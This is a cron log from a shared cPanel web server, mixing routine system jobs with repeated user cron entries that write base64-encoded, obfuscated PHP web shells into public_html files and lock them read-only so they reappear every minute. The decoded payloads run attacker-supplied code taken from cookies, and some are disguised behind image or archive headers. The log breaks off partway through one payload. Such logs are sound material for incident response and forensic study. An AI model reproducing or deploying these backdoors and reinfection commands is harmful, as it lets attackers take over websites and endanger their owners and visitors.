Mar  2 13:44:02 medusa CROND[12487]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:44:02 medusa CROND[12491]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:44:02 medusa CROND[12489]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:44:02 medusa CROND[12488]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:44:02 medusa CROND[12494]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:44:02 medusa CROND[12501]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:44:02 medusa CROND[12502]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:44:02 medusa CROND[12508]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:44:02 medusa CROND[12512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:45:01 medusa CROND[30046]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:45:02 medusa CROND[30312]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:45:02 medusa CROND[30313]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:45:02 medusa CROND[30316]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:45:02 medusa CROND[30315]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:45:02 medusa CROND[30318]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:45:02 medusa CROND[30320]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:45:02 medusa CROND[30323]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:45:02 medusa CROND[30321]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:45:02 medusa CROND[30324]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:45:02 medusa CROND[30325]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:45:02 medusa CROND[30331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:45:02 medusa CROND[30336]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 13:45:02 medusa CROND[30337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:45:02 medusa CROND[30333]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:45:02 medusa CROND[30339]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:45:02 medusa CROND[30330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:45:02 medusa CROND[30332]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:45:02 medusa CROND[30342]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:45:02 medusa CROND[30345]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:45:02 medusa CROND[30341]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:45:02 medusa CROND[30338]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:45:02 medusa CROND[30361]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:46:01 medusa CROND[16023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:46:01 medusa CROND[16104]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:46:01 medusa CROND[16229]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:46:01 medusa CROND[16230]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:46:01 medusa CROND[16231]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAn